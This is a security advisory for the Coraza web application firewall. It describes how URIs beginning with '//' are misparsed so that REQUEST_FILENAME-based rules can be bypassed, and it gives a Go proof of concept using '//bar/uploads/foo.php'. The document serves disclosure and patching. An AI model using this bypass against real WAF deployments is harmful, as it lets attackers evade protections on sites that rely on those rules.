GHSA-q9f5-625g-xm39

### Summary URLs starting with `//` are not parsed properly, and the request `REQUEST_FILENAME` variable contains a wrong value, leading to potential rules bypass. ### Details If a request is made on an URI starting with `//`, coraza will set a wrong value in `REQUEST_FILENAME`. For example, if the URI `//bar/uploads/foo.php?a=b` is passed to coraza: , `REQUEST_FILENAME` will be set to `/uploads/foo.php`. The root cause is the usage of `url.Parse` to parse the URI in [ProcessURI](https://github.com/corazawaf/coraza/blob/8b612f4e6e18c606e371110227bc7669dc714cab/internal/corazawaf/transaction.go#L768). `url.Parse` can parse both absolute URLs (starting with a scheme) or relative ones (just the path). `//bar/uploads/foo.php` is a valid absolute URI (the scheme is empty), `url.Parse` will consider `bar` as the host and the path will be set to `/uploads/foo.php`. ### PoC ```go package main import ( "fmt" "net/url" "os" "github.com/corazawaf/coraza/v3" ) const testRule = ` SecDebugLogLevel 9 SecDebugLog /dev/stdout SecRule REQUEST_FILENAME "@rx /bar/uploads/.*\.(h?ph(p|tm?l?|ar)|module|shtml)" "id:1,phase:1,deny" ` func main() { var testURL = "//bar/uploads/foo.php" if os.Getenv("TEST_URL") != "" { testURL = os.Getenv("TEST_URL") } fmt.Printf("Testing URL: %s\n", testURL) config := coraza.NewWAFConfig().WithDirectives(testRule) waf, err := coraza.NewWAF(config) if err != nil { panic(err) } tx := waf.NewTransaction() tx.ProcessURI(testURL, "GET", "HTTP/1.1") in := tx.ProcessRequestHeaders() if in != nil { fmt.Printf("%+v\n", in) } } ``` ### Impact Potential bypass of rules using `REQUEST_FILENAME`.